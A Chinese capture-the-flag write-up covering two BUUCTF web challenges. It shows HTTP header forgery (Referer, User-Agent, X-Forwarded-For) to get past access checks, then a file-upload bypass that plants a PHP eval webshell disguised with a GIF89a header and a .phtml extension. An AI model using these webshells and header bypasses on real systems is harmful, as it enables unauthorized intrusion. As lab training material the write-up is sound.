BUUCTF——WEB(4)

极客大挑战 2019Http 1

HTTP头伪造

f12查看

跳转

页面提示它不是来源于这个网址,用burpsuite抓包加上这个 Referer: https://Sycsecret.buuoj.cn

服务器检查来源 当直接访问 /secret.php 时,服务器返回的错误信息明确表示:

It doesn't come from 'https://Sycsecret.buuoj.cn'

这说明服务器在验证请求的来源(即 HTTP Referer 头),要求请求必须是从 https://Sycsecret.buuoj.cn 跳转过来的。

Referer 头的作用 HTTP Referer 头用于告诉服务器当前请求是从哪个页面链接过来的。

服务器可以通过检查这个头来:

防止未经授权的直接访问(比如用户直接输入 URL 访问敏感页面)

实现简单的 CSRF(跨站请求伪造)防护

统计流量来源 绕过访问控制

由于服务器明确要求请求必须来自 https://Sycsecret.buuoj.cn

手动添加 Referer 头是为了: 伪造请求来源,让服务器认为请求是从 Sycsecret.com 跳转过来的

绕过服务器的来源验证机制 添加 Referer: https://www.Sycsecret.com 是为了 伪造请求来源,绕过服务器的来源验证机制,从而继续渗透测试流程。

提示

浏览器验证 添加完referer头之后看到服务器要求来自 "Syclover" 浏览器,所以我们修改 User-Agent 头为 Syclover 浏览器标识

提示

只能从本地访问

  • 添加 X-Forwarded-For: 127.0.0.1 头绕过本地访问限制

极客大挑战 2019Upload 1

文件上传

先上传一句话木马

复制代码
<?php
@eval($_POST['cmd'])
?>

提示

修改类型

提示

修改文件后缀phtml尝试绕过

过滤了<? 那么尝试改成

复制代码
 <script>alert("whoami")</script>

应该是检查了文件内容

添加图片文件头

GIF89a

成功上传

猜测访问路径/upload/test.phtml

成功执行alert()

修改为一句话木马

上传

复制代码
GIF89a? 
<script language="php">eval($_POST['cmd'])</script>

访问蚁剑连接

找flag

相关推荐
weixin_4316004411 分钟前
NestJS 入门(3):Guard 如何挡住未登录请求?
前端·后端·学习·nest.js
kyriewen28 分钟前
我用Claude Code两天干完了团队两周的排期——周报发出去那一刻我就后悔了
前端·javascript·ai编程
IT_陈寒1 小时前
JavaScript类型转换把我坑惨了,这破玩意真该早点搞明白
前端·人工智能·后端
用户938515635071 小时前
Type vs Interface:读完这篇就没有面试官能难倒你了
前端·面试·typescript
油丶酸萝卜别吃2 小时前
jquery-ajax.js 说明文档
前端·javascript·jquery
windliang2 小时前
Claude Code 源码分析(九):子 Agent 如何分叉、继续与回到父会话
前端·javascript·面试
柒和远方3 小时前
V063: TS 面试必考:interface 与 type 的四大差异,与 LLM Harness 的自动化择优
前端·javascript
半个落月3 小时前
React useRef 详解:DOM 引用、持久化值与 Worker 实例
前端·react.js
阿黎梨梨3 小时前
TypeScript 类型编程:从新手到 Harness 工程实践
前端
黄金决明子3 小时前
Vue3 + Vite 打包后打开空白?
前端